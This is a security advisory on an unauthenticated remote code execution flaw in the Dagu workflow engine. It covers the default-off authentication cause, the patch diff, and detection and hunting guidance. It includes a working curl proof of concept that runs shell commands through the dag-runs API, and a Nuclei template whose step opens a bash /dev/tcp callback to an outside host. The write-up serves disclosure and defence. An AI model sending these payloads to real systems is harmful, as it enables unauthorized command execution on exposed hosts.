Introduction
A single default turned every network-reachable Dagu instance into an open remote code execution target. The workflow engine shipped with authentication disabled, so anyone who could reach the API could submit a workflow and run shell commands on the host. The Shadowserver Foundation observed exploitation evidence in the wild as early as 2026-03-11, before the CVE was published.
Dagu is a self-hosted workflow orchestration engine that defines workflows as DAGs in YAML and provides a web interface for managing runs, logs, and retries. It positions itself as a lightweight alternative to Airflow, Cron, and job schedulers, distributed as a single binary with no database and released as open source under GPL 3.0. Because it is designed to run arbitrary scripts, SSH commands, and containers as part of its normal function, an authentication gap on its API has an immediate and severe impact.
Technical Information
The root cause is a default configuration that fails open. Dagu shipped with auth.mode set to none. According to the advisory, the config loader in internal/service/app/config/loader.go set AuthModeNone as the default, and with no auth mode configured the v2 API handler's requireExecute() returned nil (allow), so every permission check passed without a valid session.
The POST /api/v2/dag-runs endpoint accepts an inline YAML DAG spec. The steps of that spec are parsed and then executed immediately on the host, with no validation beyond YAML parsing. The result is OS command execution as the Dagu process user on any network-reachable default deployment, including ghcr.io/dagu-org/dagu:latest with no configuration changes.
The CVSS 3.1 vector characterizes this as network-reachable, low complexity, requiring no privileges and no user interaction, with high confidentiality, integrity, and availability impact, producing the 9.8 score. The CVSS 4.0 score is 9.3. The weakness class is CWE-306, Missing Authentication for a Critical Function.
Attack flow
The exploitation path is short:
- The attacker identifies a network-reachable Dagu instance, typically on the default port 8080.
- The attacker sends a single unauthenticated
POST /api/v2/dag-runsrequest with a JSON body containing anameand an inlinespec. - The
specdefines one or more steps, each carrying acommandfield with arbitrary shell content. - Dagu parses the spec and executes the steps as the Dagu process user, returning a response that contains a
dagRunId.
No Dagu account is required, and the only precondition is that the instance permits unauthenticated access, which was the default behavior.
One metadata difference matters for inventory work. The repository advisory lists versions through 1.30.3 and no patched version, while the CVE record and VulnCheck identify the affected range as 1.23.0 before 2.0.0. This is a difference in metadata, not evidence that the risk is limited to one of those ranges.
Proof of Concept
A working public PoC exists, corroborated across the NVD record, VulnCheck, the maintainer advisory GHSA-6qr9-g2xw-cw92, and a verified ProjectDiscovery Nuclei template.
The maintainer advisory publishes a one-liner that executes id and writes the output to /tmp/pwned:
curl -s -X POST http://TARGET:8080/api/v2/dag-runs \ -H "Content-Type: application/json" \ -d '{"name":"poc","spec":"steps:\n - name: rce\n command: id > /tmp/pwned\n"}' # Response: {"dagRunId":""} # /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)
The advisory states this was confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes. Credit for the report goes to ByamB4.
The ProjectDiscovery Nuclei template dagu-rce.yaml, marked verified: true, automates detection by sending a single unauthenticated POST and confirming execution with an out-of-band interactsh callback:
http: - raw: - | POST /api/v2/dag-runs HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name":"vt-{{dag_name}}","spec":"steps:\n - name: oob\n command: bash -c 'echo vt > /dev/tcp/{{interactsh-url}}/80'\n"} matchers: - type: dsl dsl: - 'contains(body, "dagRunId")' - 'contains(content_type, "application/json")' - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")' - 'status_code == 200' condition: and
The template keys success on a 200 response containing a dagRunId plus a confirmed interactsh HTTP or DNS callback, which proves code execution rather than mere request acceptance.
A note on repository naming: the advisory source location is github.com/dagu-org/dagu, while the advisory and commit references resolve under the dagucloud/dagu repository path. Both refer to the same project and the same fix commit SHA, which NVD and VulnCheck link to CVE-2026-126752.
Patch Information
The fix is commit c0e7cf7 ("feat: default authentication mode to builtin (#1688)"), written by Dagu maintainer Yota Hamada and merged into main through PR #1688 on 2026-02-19. The PR description gives the reason: "To enhance security, authentication mode will be enabled by default." GitHub's compare API shows the v2.0.0 tag 24 commits ahead of this commit and 0 behind, so the fix ships in Dagu 2.0.0, matching the NVD range of 1.23.0 before 2.0.0. The maintainer advisory does not agree: it lists the vulnerable range as <= 1.30.3 and leaves patched versions empty, so use the release tag as your version reference, not the advisory metadata.
The patch does not change the /api/v2/dag-runs handler or the inline spec parser. It changes the starting point, so that a server with no configuration now starts with authentication enforced.
1. A default that fails closed (internal/cmn/config/loader.go):
-func (l *ConfigLoader) loadAuthMode(cfg *Config, def Definition) bool { +func (l *ConfigLoader) loadAuthMode(cfg *Config, def Definition) { if def.Auth == nil || def.Auth.Mode == nil { - cfg.Server.Auth.Mode = AuthModeNone - return false + cfg.Server.Auth.Mode = AuthModeBuiltin + l.warnings = append(l.warnings, "No auth.mode configured — defaulting to 'builtin'. "+ + "Set auth.mode to 'none' to disable authentication, or complete /setup to create an admin account.") + return } mode := AuthMode(*def.Auth.Mode) switch mode { - case AuthModeNone, AuthModeBuiltin, AuthModeOIDC: + case AuthModeNone, AuthModeBasic, AuthModeBuiltin: cfg.Server.Auth.Mode = mode - return true default: - l.warnings = append(l.warnings, fmt.Sprintf("Invalid auth.mode value: %q, defaulting to 'none'", *def.Auth.Mode)) - cfg.Server.Auth.Mode = AuthModeNone - return false + l.warnings = append(l.warnings, fmt.Sprintf("Invalid auth.mode value: %q, defaulting to 'builtin'", *def.Auth.Mode)) + cfg.Server.Auth.Mode = AuthModeBuiltin } }
This changes two cases. When no auth.mode is set, Dagu now uses builtin and logs a warning. When an unrecognised value is supplied (for example a typo like bultin), it used to fall back to none with only a log warning, which quietly opened the API. It now falls back to builtin, so a configuration mistake leaves the server locked down. The unit test was renamed from AuthModeDefaultNone to AuthModeDefaultBuiltin and now checks that an empty config gives AuthModeBuiltin.
2. Making builtin work with no configuration. Before this patch, validateBuiltinAuth() refused to start unless an admin username and a JWT token secret were configured. The patch removes those checks:
- if c.Server.Auth.Builtin.Admin.Username == "" { - return fmt.Errorf("builtin auth requires admin username to be set") - } - if c.Server.Auth.Builtin.Token.Secret == "" { - return fmt.Errorf("builtin auth requires token secret to be set (auth.builtin.token.secret or AUTH_TOKEN_SECRET env var)") - }
In their place is a token secret provider chain (internal/auth/tokensecret, internal/persis/filetokensecret). A secret set explicitly in auth.builtin.token.secret or DAGU_AUTH_TOKEN_SECRET takes priority. Otherwise Dagu generates 32 random bytes with crypto/rand, base64url-encodes them, and saves them to {dataDir}/auth/token_secret with mode 0600 inside a 0700 directory. The file is written to a temp file and then hard-linked into place, so several processes starting at once all end up with the same secret. The loader warns if a configured secret is a well-known weak value (changeme, secret, password, test, dagu). The new auth.TokenSecret type returns [REDACTED] from String(), GoString(), MarshalJSON, and MarshalText, so the signing key cannot leak into logs by accident.
3. A first-run setup step instead of default credentials. The patch removes the old EnsureAdminUser startup path, which created an admin from config or printed an auto-generated password to stdout, and the Helm chart that shipped admin / adminpass as defaults. Both are replaced by a one-time POST /api/v1/auth/setup endpoint and a /setup page in the UI. The endpoint is on the public path list, but the handler only allows it once, taking a directory lock and refusing to run if any users already exist:
// Under lock: check if setup is still available (no users exist) count, err := a.authService.CountUsers(ctx) if err != nil { return nil, err } if count > 0 { return api.Setup403JSONResponse{ Code: api.ErrorCodeForbidden, Message: "Setup has already been completed", }, nil }
New tests check that the first setup call succeeds and a second returns 403, and that /api/v1/dag-runs returns 401 without a bearer token once builtin mode is active.
4. Stricter rules for the other modes. OIDC is no longer a separate mode; it runs as an add-on under builtin. The valid modes are now none, basic, and builtin. Basic auth credentials only take effect when auth.mode: basic is set explicitly, and setting them under any other mode is now a startup error:
// Error if basic credentials are set under a non-basic mode. if c.Server.Auth.Basic.Username != "" || c.Server.Auth.Basic.Password != "" { return fmt.Errorf("auth.basic credentials are set but auth.mode is %q; set auth.mode to 'basic' or remove the auth.basic section", c.Server.Auth.Mode) }
What the patch does not change. The auth.mode: none option still exists as a deliberate opt-out. If an operator chooses none, the inline spec command execution on the dag-runs endpoint is still reachable without credentials: the patch fixes the default, not the feature. Upgrading changes behaviour, so instances that relied on running without authentication will show the setup page, and unauthenticated API clients will get 401 until an admin account and tokens or API keys are configured. There is also a window before the first admin exists. /api/v1/auth/setup is reachable without authentication by design until the first account is created, so first-run setup should be completed before the instance is widely reachable.
Detection Methods
No published Sigma, YARA, Snort, or Suricata rule exists for this bug. The main public detection is the ProjectDiscovery Nuclei template dagu-rce.yaml at http/vulnerabilities/other/dagu-rce.yaml, listed as a reference by both NVD and VulnCheck. Pentest-Tools.com's Network Scanner also runs this Nuclei check and records its detection as added on March 2, 2026. Because exploitation has been seen in the wild, you need two kinds of coverage: active checks to find exposed instances, and log and host hunting to find instances that were already hit.
Active check: the Nuclei dagu-rce template
The template does not grab a banner or compare version numbers; it uses the bug itself. It sends one unauthenticated POST /api/v2/dag-runs request with an inline YAML spec that defines a single step using bash's /dev/tcp feature to connect out to an Interactsh callback host. The DAG name gets a random 8-character suffix after a vt- prefix:
variables: dag_name: "{{rand_text_alphanumeric(8)}}" http: - raw: - | POST /api/v2/dag-runs HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name":"vt-{{dag_name}}","spec":"steps:\n - name: oob\n command: bash -c 'echo vt > /dev/tcp/{{interactsh-url}}/80'\n"} matchers: - type: dsl dsl: - 'contains(body, "dagRunId")' - 'contains(content_type, "application/json")' - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")' - 'status_code == 200' condition: and
All four matchers must pass: a 200 response, a JSON content type, a body containing dagRunId, and an actual out-of-band DNS or HTTP callback. The callback requirement makes the check reliable, because a dagRunId response alone only shows the API accepted the run, while the callback shows that a shell command really ran.
A few practical notes. The template runs code on the target, so use it only on systems you are authorized to test, and note that each run leaves a DAG run named vt-<random> in Dagu's history. False negatives are possible: the payload calls bash, so a hardened image without bash may not run it, and strict egress filtering can block the callback. Because the template accepts a DNS callback alone, a host that can resolve names but cannot open outbound TCP may still be detected. The template and the GitHub advisory describe affected versions as <= 1.30.3, while NVD and VulnCheck list 1.23.0 before 2.0.0; since the template tests behavior rather than a version string, treat a positive hit as confirmed exposure whatever version the instance reports. The template metadata includes the fingerprints shodan-query: 'title:"Dagu"' and fofa-query: 'title="Dagu"', and the PoC targets the default port 8080.
Configuration audit
The root cause is a configuration default. A safe, non-intrusive check is to list every Dagu instance and confirm that each one sets an auth mode explicitly, either through auth.mode in its config file or the DAGU_AUTH_MODE environment variable. The advisory says every deployment without an explicit DAGU_AUTH_MODE setting is affected, including Docker deployments of ghcr.io/dagu-org/dagu:latest with no configuration changes. Flag any instance that is reachable from the network and sets neither.
Hunting for past exploitation
No public source gives attacker IoCs such as IP addresses, payload hashes, or C2 domains, so hunting focuses on behavior:
- Web and proxy logs: Look for
POST /api/v2/dag-runsrequests from sources that are not your known operators or automation, especially requests with no session cookie or API token. The exploit puts the full workflow in aspecfield in the JSON body, and inlinespecsubmissions are rarer in normal use than starting a named DAG. A 200 response containingdagRunIdmeans the server accepted the run. - Dagu's run history: Review run history for DAG names nobody recognizes and for steps containing shell commands no engineer wrote, such as
/dev/tcpredirects, writes to/tmp, or reconnaissance commands likeid. Runs namedvt-plus 8 random characters usually come from the Nuclei template, which helps separate authorized scans from other activity. - Prometheus metrics: Dagu exposes
GET /api/v1/metrics, which requires authentication by default. Per-DAG series such asdagu_dag_runs_total_by_dag{dag,status}anddagu_dag_runs_currently_running_by_dagcarry adaglabel; a new label value that matches no DAG you manage, or an unexpected rise indagu_dag_runs_total, can serve as an anomaly signal. - Host telemetry (EDR or auditd): Commands run with the privileges of the Dagu process user (
uid=1000(dagu)in the official image). Watch that process tree for unusual child shells, outbound connections to unfamiliar hosts, downloaded tools, and persistence attempts.
Dependency scanning
The GitLab Advisory Database tracks GHSA-6qr9-g2xw-cw92 for github.com/dagu-org/dagu, and GitLab Dependency Scanning flags it. One catch: the GitHub advisory record currently has cve_id: null, so tools that only match on CVE IDs may not link the GHSA to CVE-2026-126752. Make sure your scanner matches on the GHSA ID too.
Affected Systems and Versions
The CVE record and VulnCheck list the affected range as Dagu 1.23.0 up to, but not including, 2.0.0, for the Go package github.com/dagu-org/dagu. Any instance in this range running with the default configuration (no explicit auth.mode or DAGU_AUTH_MODE) is exposed, including the ghcr.io/dagu-org/dagu:latest Docker image with no configuration changes. Note the metadata disagreement: the maintainer GitHub advisory GHSA-6qr9-g2xw-cw92 instead lists the vulnerable range as <= 1.30.3 and leaves the patched version empty. Because the Nuclei template tests behavior rather than a version string, treat any positive detection as confirmed exposure regardless of the reported version. The fix ships in Dagu 2.0.0.
References
- NVD: CVE-2026-126752
- CVE Record: CVE-2026-126752
- Maintainer advisory: GHSA-6qr9-g2xw-cw92 (dagucloud/dagu)
- GitHub Advisory Database: GHSA-6qr9-g2xw-cw92
- Fix commit c0e7cf7 (default auth mode to builtin)
- Pull Request #1688
- ProjectDiscovery Nuclei template dagu-rce.yaml
- Raw Nuclei template dagu-rce.yaml
- VulnCheck advisory: Dagu 1.23.0 < 2.0.0 Unauthenticated RCE
- GitHub advisories API: GHSA-6qr9-g2xw-cw92
- GitHub commits API: fix commit
- GitHub issues API: PR #1688
- GitHub security advisories API: GHSA-6qr9-g2xw-cw92
- GitHub compare API: fix commit to v2.0.0
- GitLab Advisory Database: GHSA-6qr9-g2xw-cw92
- Pentest-Tools.com: Dagu Workflow Engine RCE
- Dagu Prometheus metrics documentation
- Dagu authentication documentation
- dagucloud/dagu repository



